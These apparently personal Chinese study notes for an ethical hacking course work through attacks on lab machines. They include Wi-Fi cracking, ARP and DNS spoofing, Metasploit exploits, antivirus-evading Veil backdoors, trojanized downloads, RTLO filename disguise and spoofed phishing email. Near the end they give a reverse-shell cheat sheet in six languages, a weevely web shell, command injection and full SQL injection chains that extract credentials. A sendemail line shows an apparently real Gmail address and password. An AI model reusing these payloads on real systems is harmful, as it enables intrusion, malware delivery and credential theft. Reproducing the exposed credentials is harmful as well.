Learn Ethical Hacking From Scratch
Learn Ethical Hacking From Scratch
Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.4-1.msi -OutFile ${env.tmp}\wazuh-agent; msiexec.exe /i ${env.tmp}\wazuh-agent /q WAZUH_MANAGER=’202.5.255.179’ WAZUH_AGENT_GROUP=’Threat_Hunting’ WAZUH_AGENT_NAME=’win7_book’ WAZUH_REGISTRATION_SERVER=’202.5.255.179’
NET START WazuhSvc
Setting Up The Lab
資源安裝連結
Kali linux下載
Kali linux更新指令
資料庫更新指令:apt-get update
軟體更新指令:apt-get install <terminator>
Kali linux指令相關網站
常用指令集: Linux Commands
用法解說網站: explainshell.com
Network Basices
課程所需網卡推薦
Kali linux監聽功能網卡推薦
Kali linux監聽功能網卡商店
網址: zsecurity shop
網卡設定
查詢網路介面資訊
指令: ifconfig
只查看無線接口指令: iwconfig
查詢無線網路網卡
指令: iwconfig
更改MAC網卡位置
step 1: ifconfig wlan0 down
step 2: ifconfig wlan0 hw ether 00:11:22:33:44:55
step 3: ifconfig wlan0 up
啟用網卡監聽模式
step 1: ifconfig wlan0 down
step 2: airmon-ng check kill (停止網路管理器運行程序)
step 3: iwconfig wlan0 mode monitor
step 4: ifconfig wlan0 up
啟用網卡監聽模式(其他方法)
note:
- 網卡的MAC位置設定建議開頭為00
- 手動更卡網卡位置在重新開機時將還原
Pre-Connection Attacks
監聽取得封包
選擇尋找目標
指令(不包含5G頻段網路): airodump-ng <wlan0>
指令(5G頻段網路,a頻段) : airodump-ng –band a <wlan0>
指令(混和頻段網路) : airodump-ng –band abg <wlan0>
選擇目標記錄下他的bssid、channel
對目標實施監聽並取得封包
指令: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
WEP破解
step 1: 累積封包到一定數目
step 2: aircrack-ng 檔案名.cap
密碼:將(1)的冒號刪除輸入或輸入(2)
快速累積封包
aireplay-ng去認證攻擊
指令: aireplay-ng –deauth 攻擊次數 -a 目標網路MAC -c 目標客戶機MAC wlan0
aireplay-ng假認證攻擊
指令: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
Packet Injection - ARP Request Reply Attack
說明 : 迫使連結接入點生成具有新的IV的封包
終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –arpreplay -b 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
Packet Injection - Korek Chopchop Attack
說明 : 嘗試確定密鑰流
終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –chopchop -b 目標網路MAC -h 自己網卡的MAC
等待終端C跳出是否解密(y)
解密完後,終端C:
note:
y後面接的是解密後的檔案名
終端C注入:
Packet Injection - Fragmentation Attack
說明 : 偽造封包注入
終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –fragment -b 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C:等待詢問是否用此數據包(y),試圖確定PRG,有可能失敗
終端C:取得密鑰流檔案.xor
終端C:使用以下兩命令製作及注入封包:
WPA破解(啟用WPS且PBC沒啟用)
查看是否啟用WPS
指令 : wash –interface wlan0
破解WPS
執行以下兩個終端機
WPA破解(禁用WPS或PBC啟用)
取得握手包
說明:監聽直到出現以下圖片右上文字
終端A指令: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B指令(加速): aireplay-ng –deauth 攻擊次數 -a 目標網路MAC -c 目標客戶機MAC wlan0
創建字典
說明:使用Crunch創建密碼字典
單字列表參考網址:
ftp://ftp.openwall.com/pub/wordlists/
openwall.com/mirrors/
gdataonline.com/downloads/GDict/
outpost9.com/files/WordLists.html
vulnerabilityassessment.co.uk/passwords.htm
packetstormsecurity.org/Crackers/wordlists/
ai.uga.edu/ftplib/natural-language/moby/
cotse.com/tools/wordlists1.htm
cotse.com/tools/wordlists2.htm
wordlist.sourceforge.net/
密碼爆破
指令aircrack-ng 檔案名.cap -w 字典路徑
note:
目前止WPA2破解唯一方式,建議以社交工程騙取密碼
加速WPA破解
Cracking the Key Quicker using a Rainbow Table(以空間換時間)
說明 : 先將密碼字典中的密碼加密,以便之後比對
創建資料庫 : airolib-ng test-db –import passwd 密碼字典.txt
創建破解網路明文件: echo “TOTOLINK_A800R(網路名)” >test-essid
將essid導入 : airolib-ng test-db –import essid test-essid(文件名)
將每個密碼列表與essid結合計算每個密碼的PMK:airolib-ng test-db –batch
輸入以下指令用資料庫破解:
Cracking WPA/WPA2 Much Faster Using GPU(使用GUI破解)
下載驅動GUI(windown)
hashcat.net/hashcat/
下載hashcat二進制文件
將cap握手包轉成hashcat支援的格式:
hashcat.net/cap2hashcat/
把下圖兩文件丟到hashcat資料夾裡
cmd到hashcat目錄執行
執行hashcat64.exe -I 查看可用GPU
執行以下命令:
note:
- -m 數字 : 代表加密類型
- -d 數字 : 使用哪個GUI
連接後攻擊
Post Connection Attacks
Installing Windows As a Virtual machine
網址:windows模擬機下載
Post Connection Attacks-資料蒐集
netdiscover
指令 : netdiscover -r 192.168.17.1/24
note :
- 只能找尋目前所在子網域的主機
- 如果用無線網路試配器,要在虛擬機取消網路連線
GUI Nmap
指令 : zenmap
MITM
ARP Poisoning Using arpspoof
查看window跟kali的網路介面 : arp -a
指令 : arpspoof -i eth0 -t 目標機器MAC 受欺騙機器MAC
note:
- 終端A:欺騙192.168.17.131(目標),我是192.168.17.2(路由器)
- 終端B:欺騙192.168.17.2(路由器),我是192.168.17.131(目標)
- 終端C:查詢kali的arp表格
指令 : echo 1 > /proc/sys/net/ipv4/ip_forward
note:
这条命令的含义是将数字 1 写入 /proc/sys/net/ipv4/ip_forward 文件中。在 Linux 系统中,/proc/sys/net/ipv4/ip_forward 是一个特殊的文件,用于控制 IP 转发功能。IP 转发是指将收到的 IP 数据包从一个网络接口转发到另一个网络接口的功能。
当将数字 1 写入 /proc/sys/net/ipv4/ip_forward 文件时,表示启用了 IP 转发功能。这意味着 Linux 系统将允许接收到的 IP 数据包在不同的网络接口之间进行转发,而不仅仅是将数据包发送到本地系统。
通常情况下,启用 IP 转发功能是在路由器或者具有网络转发功能的计算机上使用,以便它们可以转发数据包来连接不同的网络。
只是暫時,重開機後失效
linux一般禁止ip轉接
ARP Poisoning Using bettercap
bettercap基本介紹
指令 : bettercap -iface eth0(介面)
查看運行模組 : help
查看運行模組詳細 : help net.probe(模組名)
開啟網路點探測器 : net.probe on
如上圖 : net.recon網路偵測也會自動開啟
查看偵測到的裝置列表 : net.show
bettercap arp欺騙模組
查看arp欺騙模組 : help arp.spoof
將arp.spoof.fullduplex設置為true: set arp.spoof.fullduplex true
設定目標: set arp.spoof.targets 192.168.17.131(目標ip)
開啟模組:arp.spoof on
note :
- 若arp.spoof.fullduplex設置為true : 可欺騙路由器和目標
- 若arp.spoof.fullduplex設置為flase : 只欺騙目標
分析模組
指令: net.sniff on
- 舉例:
在windows的覽器開啟網頁:http://vulnweb.com/
如上圖: 可攔截未經加密的封包
bettercap快速設定
創建一個文本並寫入要執行的指令且儲存:
啟動: bettercap -iface eth0 -caplet spoof.cap(檔案名)
bettercap HTTPS解決
方法一(對HSTS無效)
修改文檔使其嗅探所有數據
查看外加腳本:caplets.show
運行 : hstshijack/hstshijack
成功使網路降級:
方法二(繞過HSTS)
說明:使瀏覽器誤以為在加載別的網頁
修改hstshijack,將想替換的網域跟替換成甚麼的網域加上
進入瀏覽器:google.ie
搜尋facebook:
即可完成
統整
DNS Spoofing - Controlling DNS Requests on The Network
啟動kali中的伺服器
1 | service apache2(伺服器名稱) start |

網頁默認存在: var/www/html
DNS欺騙(對HSTS無效)
1 | bettercap -iface eth0 -caplet spoof.cap |

note:
- dns.spoof.address:DNS欺騙地址(預設定向到自己)
- dns.spoof.all:欺騙全部
- dns.spoof.domains:欺騙的網域
1 | set dns.spoof.all true |

注入js
寫js文檔
更改hstshijack.cap在set hstshijack.payloadsr加上你的js文檔
1 | bettercap -iface eth0 -caplet spoof.cap |

注入成功
bettercap圖形介面
1 | bettercap -iface eth0 |
預設帳號:user
預設密碼:pass
wireshark
說明:wireshark只能捕捉自己電腦的流量,但當我們成為中間人時,可用來分析中間人接口的流量及封包
錄製封包
開啟bettercap,並使自己成為中間人
打開wireshark
選擇網路介面,開始錄製
過濾封包
因為有對目標發動降級攻擊,因此可以在過濾框中輸入http,來過濾封包
上圖:追蹤封包回應的完整訊息
回應了一個網頁html
找尋使用者帳號密碼
修改spoof文檔使得在bettercap開啟時,錄製封包,不必開啟wireshark
ctrl+F可在wireshark裡查找捕獲數據包的任何內容
Creating a Fake Access Point (Honeypot) - Practical
確認配置
- 無限網卡不能為監聽模式
- 無線網卡不能連接任何網路
- kali機器有連接網路(eth0)
wifi hotspot
啟動wifi hotspot
設定wifi
檢測自己機器是否arp中毒
xarp
下載連結:xarp
啟動:xarp
發動arp攻擊時:
因為一個網域裡的每台機器mac位置都不會重複,因此當發動arp攻擊時,會被偵測到
wireshark
開啟arp檢測
當有人試圖偵測網路上所有機器時
當arp中毒時
警告我們路由器有2個mac位置
預防方法:
- 有交換器能幫忙監測arp欺騙
- 將arp表的每個ip設為靜態的(缺點:每次變動都必須手動更改)
中間人攻擊預防方法:
無法管理網路時(大學網路,機場網路或酒店網路等):
加密自己的流量(vpn)
統整:
服務器入侵
安裝Metasploitable
下載網址:metasploitable
預設帳號: msfadmin
預設密碼: msfadmin
搜集訊息
找尋目標ip: ping URL
利用nmap或zenamp進行掃描
ftp錯誤配置,允許匿名登陸:
去google找尋這ftp是版本是否有漏洞
舉例(錯誤配置):
去google找尋這程序在做甚麼
由上圖可知 這是一個遠端的登錄程序
嘗試查詢如何使用並連接
搜尋資訊
metasploit框架
metasploit指令
msfconsole:啟動程序
show:顯示一些訊息(可用的漏洞或補助設備,有效負載等)
use:使用漏洞運行
set:設置利用漏洞的特殊選項
google搜尋vsftpd 2.3.4 exploit
發現一個后門可用metasploit攻擊
使用模塊名稱:
舉例(后門):
用metasploit攻擊
終端機輸入
1 | msfconsole |

1 | show options #針對利用漏洞攻擊的選項 |

1 | exploit #有時沒發生甚麼,再執行一次 |
運行成功
舉例(端口139的Samba smbd 3.X,緩衝益位):
去google發現
這是一個命令執行的漏洞
1 | msfconsole |

1 | set RHOSTS 192.168.17.133 #設定目標ip |
選擇運行的有效負載
1 | show payloads |

有兩種主要類型
bind payloads:在目標計算機上打開一個端口,然後我們連接到該端口
reverse payloads:在我們計算機打開一個端口,讓他連接過來(比較容易繞過防火牆)
1 | set PAYLOAD payload/cmd/unix/reverse_netcat |
1 | show options |
設定完成
啟動
1 | exploit |
連接成功
nexpose
下載連結: nexpose
臨時電子郵件:temp-mail.org
下載完後:
1 | chmod +x Rapid7Setup-Linux64.bin |
安裝完後關閉nexpose自動啟動程序
1 | systemctl disable nexposeconsole.service |
啟動nexpose
1 | cd /opt/rapid7/nexpose/ |
完成後有一個網址可訪問
登陸之前設定的帳號密碼
登陸後,輸入之前信件裡的密鑰
添加目標
選擇掃描位置
可選擇設定日志,自動掃描
啟動掃描
掃描完成
發現714個漏洞,可利用攻擊223
機器安裝的軟件(可用來入侵之後的提權等)
目標機器上安裝的服務
危險等級及技能等級分類
詳細列表即可利用的攻擊工具
舉例:
可利用的模組(不一定成功)
特定漏洞的引用
解決方案:
生成報告
Audit Report:給程序員及技術人員的詳細資料
第三個:較少訊息的執行報告,給經理或沒有較多技術經驗的人編寫的
客戶端入侵
veil
下載網址:Veil-Framework
1 | cd Downloads/ |
安裝好後,啟動
1 | veil |
exit 離開
info 獲取特定工具訊息
list 列出可用工具
options 顯示veil配置
update 更新veil
use 使用特定工具
veil有兩個主要工具:
1 | list |

1 Evasion:用來生成不可偵測的后門
2 Ordnance:用來生成有效負荷的工具(補助工具)
1 | use 1 |

一般命名方式:
1.編成語言:將惡意代碼包裝成哪種語言
2.有效負載類型:目標計算機執行代碼的類型
3.用來連接的方式
例如:go/meterpreter/rev_https.py
特殊命名方式:
例如:lua/shellcode_inject/flat.py
產生一個正常的有效負載,這正常的有效負載注入一些惡意代碼
製作后門
1 | veil |
上面為此後門訊息,下面為我們可設定的選項
設定自己ip及端口,讓目標連過來
1 | set LHOST 192.168.17.132 |
設定一些選項,使得不被防毒偵測(設定這些沒有原因只為了讓后門看起來不一樣)
1 | set PROCESSORS 1 #設定處理器 |
生成后門
1 | generate |
生成成功
用metasploit框架監聽回應
1 | msfconsole |

1 | exploit |
打開后門
成功控制電腦
BDFProxy(必須先成為中間人)
到安裝BDFProxy的位置(/opt/BDFProxy/)
打開配置文件,將mode改成transparent
將下圖區塊的host的ip改為自己電腦的,並儲存(如果目標是linux或mac就改linux和mac的區塊host)
到終端機輸入以下指令:
1 | cd /opt/BDFProxy/ |
再打開一個終端(成為中間人)
1 | bettercap -iface eth0 -caplet /root/spoof.cap |
再開一個終端,用一個防火牆把bettercap收到的訊息轉到BDFProxy
1 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 |
開啟監聽
1 | msfconsole --resource /opt/BDFProxy/bdfproxy_msf_resource.rc |
當目標下載任意exe檔時會被植入後門
maltego
開啟maltego,並登錄帳號密碼
開啟一的新檔
將後門結合文件
下載或編寫腳本:
1 | #include <StaticConstants.au3> |
將url1和url2分別改成你的偽裝文件和後門的網址
將副檔名改成au3
開啟compile(veil)
選擇編寫好的腳本
到IconArchive下載圖標或者上網將圖片轉為上網將圖片轉為圖標
convert
將檔案改名,並讓使用者下載並啟動(後門即可連接)
將後門結合文件的副檔名偽裝
開啟一個文本
輸入檔名(例如:good.exe)
將檔名改變由右而左偽裝(goodgpj.exe)
開啟character,並找到由右到左的符號並在gpj前插入
並將新檔名複製到檔案上即可
ps:有時下載時會將符號拿掉,因此要壓縮後再讓使用者下載
發送後門利用假電子郵件
到kali linux裡打開發送郵件的程序
1 | sendemail --help |
sendemail -xu ray784523@gmail.com -xp zOsq1dZ0FM2Jmfgc -s 伺服器名稱:端口 -f “發信人” -t “目標” -u “標題” -m “正文+木馬連結” -o message-header=”From: 消息表頭<電子郵件>” -o message-charset=UTF-8
模仿參考網站:easydmarc.com
Beef
打開Beef,並登入
讓使用者電腦想辦法運行以下js(中間人攻擊,dns欺騙,釣魚網站等):
1 | <script src="http://<IP>:3000/hook.js"></script> |
使得kali透過web與使用者掛勾
當使用者運行此代碼網頁時,beef會出現一個可控制的瀏覽器:
圖示表示:
點開控制電腦的主選單:
commands:可執行的腳本
舉例:
alert
設定完後按execute
可執行任意js
設定完後按execute
可獲得電腦的螢幕截圖
導向到別的網頁
社交工程(竊取帳密)
受害機畫面
輸入受害機帳密之後
偽裝更新植入後門
預防方法:
- 開檔前檢查文件屬性
- 使用sandbox打開文件或用線上沙盒分析
網站hack
資料收集網站
找出子網域
工具:knockpy
指令:knockpy [網域]
目標網站文件查找
工具:dirb
指令:dirb [target] [wordlist] [options]
使用方法:man dirb
指令:dirb http://192.168.212.104/mutillidae/
上傳漏洞
工具:weevly
用途:生成shell,Web服务器上执行命令的后门,使得用户能够管理被攻击的Web服务器、执行服务器端代码
指令:weevely generate 097887 /root/shell.php
weevely generate 密碼 生成位置
啟動Metasploitable,並登錄DVWA網站
上傳shell並複製其檔案存放的網址
切換到kali
指令:weevely http://192.168.212.104/dvwa/hackable/uploads/shell.php 097887
即可成功控制
代碼執行漏洞

在網頁上輸入ip位置,網頁應用程式會傳回server,在server上執行ping
可用;作為分隔符號,將兩命令串接再一起,當執行完前面指令時,執行新的命令

可參照以下指令來進行遠程連結
The following examples assums the hacker IP is 10.20.14 and use port 8080 for the connection.
Therefore in all f these cases you need to listen for port 8080 using the foolowing command
nc -vv -l -p 8080
BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1
PERL
perl -e ‘use Socket;$i=”10.20.14”;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.20.14”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
php -r ‘$sock=fsockopen(“10.20.14”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“10.20.14”,8080).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
Netcat
nc -e /bin/sh 10.20.14 8080
監聽8080端口
在網頁應用程式輸入:192.168.1.1;nc -e /bin/sh 192.168.212.104 8080

local File Inclusion
利用此類型漏洞讀取同一伺服器的所有文件
修改URL參數
REMOTE FILE INCLUSION
伺服器支持allow_url_fopen和allow_url_include
伺服器設定檔:/etc/php5/cgi/php.ini
重啟網頁伺服器:sudo /etc/init.d/apache2 restart
在自己本地機上創建並編輯一個文件:
在 PHP 中,passthru() 函数是用来执行外部程序并且直接显示原始输出的。它与其他执行外部命令的函数(如 exec()、shell_exec() 和 system())类似,但有一些区别。
passthru() 通常用于需要捕获程序输出的场景,特别是二进制数据,如直接从 PHP 脚本传输图像或音频文件。当调用 passthru() 时,PHP 会等待外部程序执行完成,并将程序的原始输出直接传递到 PHP 的输出流。
將文件放在:
更改網址

SQL Injection
myspl
連接:mysql -u 帳號 -h ip地址
列出所有資料庫:show databases;
選擇資料庫:use [資料庫名稱]
列出所在資料庫中的資料表:show tables;
列出資料表內容:select * from [資料表名稱];
SQL Injection(POST)
當輸入帳密為zaid和123456時,後端會執行這指令從資料庫搜尋帳密是否存在:SELECT * FROM accounts WHERE username=’zaid’ AND password=’123456’
當我們輸入帳密為zaid和' and 1=1 #會變成SELECT * FROM accounts WHERE username=’zaid’ AND password='' or 1=1 #’,1=1為ture,因此不管密碼是否正確後面都為真
符號:#可使後面程式碼被註解
當我們輸入帳密為admin’#和' and 1=1 #會變成SELECT * FROM accounts WHERE username=’admin’# AND password=’’,#會註解後面程式碼,因此不用驗證密碼
SQL Injection(GET)

上圖網址:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details
注入order by:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ order by 1%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
%23為#的編碼
当攻击者尝试 ORDER BY 10000 这样的注入时,它们可能在测试数据库表中有多少列。如果 ORDER BY 10000 导致错误,表示表中没有那么多列。通过逐步调整数字,攻击者可以确定表的确切列数。
當輸入5時正常
輸入6時出錯
代表這個帳戶表有5列
可注入union slect 1,2,3,4,5:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,2,3,4,5%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
確定有5列,其中2,3,4會被顯示
可注入union slect 1,database(),user(),version(),5:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,database(),user(),version(),5%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
可知資料庫為:owasp10,使用者:root@locale及版本
可注入union select 1,table_name,null,null,5 from information_schema.tables(SQL預設的表):http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,table_name,null,null,5 from information_schema.tables%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
SELECT 1, table_name, NULL, NULL, 5:这是在选择几列数据。第一列和最后一列是硬编码的数值1和5。第二列是 table_name,它来自于 information_schema.tables 这个特殊的表,该表存储了数据库中所有表的名称。第三和第四列是用 NULL 填充的,这通常是因为原始 SQL 查询需要有相同数目的列来匹配结构,而攻击者可能不关心这些列的具体内容。
FROM information_schema.tables:information_schema 是一个内建数据库,包含了数据库的元数据,如表名、列名、数据类型等信息。information_schema.tables 是其中的一个表,包含了所有用户表和系统表的列表
可注入union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
可注入union select 1,column_name,null,null,5 from information_schema.column where table_name = ‘accounts’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,column_name,null,null,5 from information_schema.columns where table_name = ‘accounts’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
FROM information_schema.columns 指定了查询的数据来源。information_schema.columns 是数据库的一个特殊表,它包含了数据库中所有表的列信息。
可注入union select 1,username,password,is_admin,5 from accounts:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,username,password,is_admin,5 from accounts%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
SQL注入文件
讀取伺服器文件
可注入union select null,load_file(‘/etc/passwd’),null,null,null :http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select null,load_file(‘/etc/passwd’),null,null,null%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
向伺服器寫入一些內容
可注入union select null,’example example’,null,null,null into outfile ‘/tmp/example.txt’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select null,’example example’,null,null,null into outfile ‘/tmp/example.txt’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
sqlmap
sqlmap -u ‘網址’
查看所有資料庫:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –dbs
查看當前帳號:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –current-user
查看當前數據庫:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –current-db
查看數據庫的table:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –tables -D ‘owasp10’
查看table columns名稱:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –columns -T accounts -D owasp10
查看所有數據:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ -T accounts -D owasp10 –dump
XSS
Reflected XSS

嘗試注入代碼:<script>alert(“XSS”)
Stores XSS
可將代碼儲存在網頁上,任何人瀏覽網頁時都會執行
在網上輸入代碼並儲存
每當進入此頁面時都會執行
BEFF與XSS結合
打開beff,並將js代碼複製到xss網站上
因為有字數限制開啟檢查修改繞過
將<textarea name=”mtxMessage” cols=”50” rows=”3” maxlength=”50”></textarea>更改為<textarea name=”mtxMessage” cols=”50” rows=”3” maxlength=”500”></textarea>
注入代碼後每當使用者進入網站時就會執行
owasp zed attack proxy(ZAP)
開啟ZAP
新增活動掃描
開啟設定
這裡可更改掃描的強度
設定完後輸入網址並開始掃描
掃描完成可看到左邊的網站,及下方的警告
下方的警告旗幟顏色紅色危害最大
可點擊查看有關漏洞訊息
點擊右鍵在瀏覽器打開
資安報告參考範例:public-pentesting-reports
保護網站:
- 編寫安全代碼
- 審查代碼
- 滲透測試
- 錯誤懸賞























































































































































